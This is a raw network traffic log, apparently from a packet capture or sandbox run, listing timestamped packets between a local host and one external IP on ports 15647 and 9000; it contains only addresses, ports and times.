Dec 17, 2024 08:39:30.741082907 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.741193056 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.749464989 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.790241957 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.813334942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.813458920 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.833209038 CET	9000	49913	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.833369017 CET	49913	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.833694935 CET	49913	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.901590109 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.901702881 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.933295012 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.934346914 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.953474998 CET	9000	49913	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.053183079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.053364992 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.109610081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.109677076 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.173448086 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.173530102 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.213700056 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.229475975 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.229720116 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.293457031 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.349458933 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.351800919 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.365627050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.415251017 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.421665907 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.422405005 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.513498068 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.515791893 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.541500092 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.542097092 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.543816090 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.639328957 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.641876936 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.663615942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.712121964 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.813397884 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.813509941 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.827754021 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.868321896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.933352947 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.933427095 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:31.953814983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:31.953922033 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.061592102 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.061681986 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.191602945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.191756964 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.215883017 CET	9000	49913	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.216017008 CET	9000	49913	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.216083050 CET	49913	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.216124058 CET	49913	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.322140932 CET	49916	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.335851908 CET	9000	49913	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.353382111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.353449106 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.373440027 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.415285110 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.441803932 CET	9000	49916	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.441886902 CET	49916	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.442060947 CET	49916	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.473206997 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.473310947 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.503628969 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.503710985 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.561711073 CET	9000	49916	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.623372078 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.623841047 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.665371895 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.665491104 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.785245895 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.785407066 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.849558115 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.849706888 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.857240915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.905235052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.905379057 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.969489098 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:32.969794989 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:32.977125883 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.024655104 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.065486908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.065701962 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.089514971 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.093439102 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.133982897 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.217466116 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.217875004 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.377597094 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.377744913 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.529890060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.530294895 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.569520950 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.618333101 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.689744949 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.689927101 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.767292023 CET	9000	49916	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.767405033 CET	9000	49916	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.767487049 CET	49916	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.767581940 CET	49916	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.842402935 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.842478991 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.869708061 CET	49920	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.887307882 CET	9000	49916	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.989548922 CET	9000	49920	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:33.989638090 CET	49920	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:33.989763021 CET	49920	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.001878977 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.001977921 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.114286900 CET	9000	49920	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.154427052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.154586077 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.313961983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.314085960 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.466561079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.466670036 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.626616001 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.626807928 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.778625965 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.780364037 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:34.938981056 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:34.941864014 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.092307091 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.092449903 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.255276918 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.255362034 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.255740881 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.305830956 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.318753958 CET	9000	49920	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.318901062 CET	9000	49920	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.319149017 CET	49920	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.319199085 CET	49920	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.375329018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.375909090 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.404390097 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.407912970 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.431317091 CET	49926	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.438901901 CET	9000	49920	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.527707100 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.527889967 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.551043034 CET	9000	49926	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.551176071 CET	49926	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.551378965 CET	49926	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.567522049 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.618360996 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.671863079 CET	9000	49926	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.701472044 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.701606989 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.719907999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.719991922 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.821408987 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.821470976 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.839771986 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.839823961 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.839858055 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.883946896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:35.960024118 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:35.960094929 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.013688087 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.013838053 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.121436119 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.121500969 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.133760929 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.133778095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.180892944 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.265456915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.265599966 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.335546970 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.335658073 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.425446987 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.425565958 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.434050083 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.455426931 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.477746010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.545413017 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.545469046 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.577497005 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.577591896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.697343111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.697768927 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.737545967 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.790303946 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.809410095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.809606075 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.873464108 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.873589993 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.879987001 CET	9000	49926	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.880214930 CET	49926	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.880253077 CET	9000	49926	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.880291939 CET	49926	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.929471016 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:36.929728985 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.993889093 CET	49932	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:36.999990940 CET	9000	49926	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.033561945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.035798073 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.114264965 CET	9000	49932	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.114465952 CET	49932	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.114913940 CET	49932	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.121577978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.121705055 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.155652046 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.185538054 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.185643911 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.234618902 CET	9000	49932	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.285474062 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.285545111 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.305447102 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.347759008 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.349487066 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.467123032 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.467168093 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.467327118 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.509557009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.509687901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.587124109 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.587824106 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.593468904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.629470110 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.629823923 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.661416054 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.712121010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.749435902 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.749532938 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.749572992 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.779309988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.821536064 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:37.899554968 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:37.899636030 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.061579943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.061845064 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.211462975 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.211766005 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.373660088 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.373831034 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.403525114 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.446479082 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.449553013 CET	9000	49932	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.449954987 CET	49932	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.449965000 CET	9000	49932	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.450026989 CET	49932	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.523606062 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.523706913 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.556583881 CET	49933	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.569642067 CET	9000	49932	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.676318884 CET	9000	49933	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.676521063 CET	49933	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.676634073 CET	49933	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.685419083 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.685549974 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.685576916 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.727782011 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.796312094 CET	9000	49933	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.805872917 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.806265116 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.835899115 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.884032965 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.969398022 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.969548941 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:38.997948885 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:38.998047113 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.090327978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.091763973 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.118897915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.189912081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.190409899 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.211525917 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.281439066 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.281833887 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.310365915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.401671886 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.403788090 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.502541065 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.503812075 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.523633003 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.593820095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.595850945 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.623526096 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.623749971 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.715683937 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.715765953 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.716061115 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.743514061 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.815782070 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.815954924 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.836152077 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.908324003 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:39.908420086 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:39.935813904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.002671003 CET	9000	49933	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.002880096 CET	9000	49933	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.002886057 CET	49933	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.002976894 CET	49933	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.027962923 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.028187990 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.028212070 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.119323015 CET	49939	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.122729063 CET	9000	49933	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.148071051 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.148257017 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.220515013 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.220649004 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.239125013 CET	9000	49939	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.239269018 CET	49939	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.239428997 CET	49939	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.268121958 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.268296957 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.340217113 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.340385914 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.340471983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.359138966 CET	9000	49939	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.388011932 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.388125896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.460247040 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.460278034 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.460412025 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.532526970 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.532633066 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.652548075 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.652677059 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.772216082 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.772649050 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.892396927 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.895812035 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:40.964627981 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:40.964715958 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.084435940 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.084536076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:41.084578037 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:41.134002924 CET	49781	15647	192.168.2.5	92.255.57.75
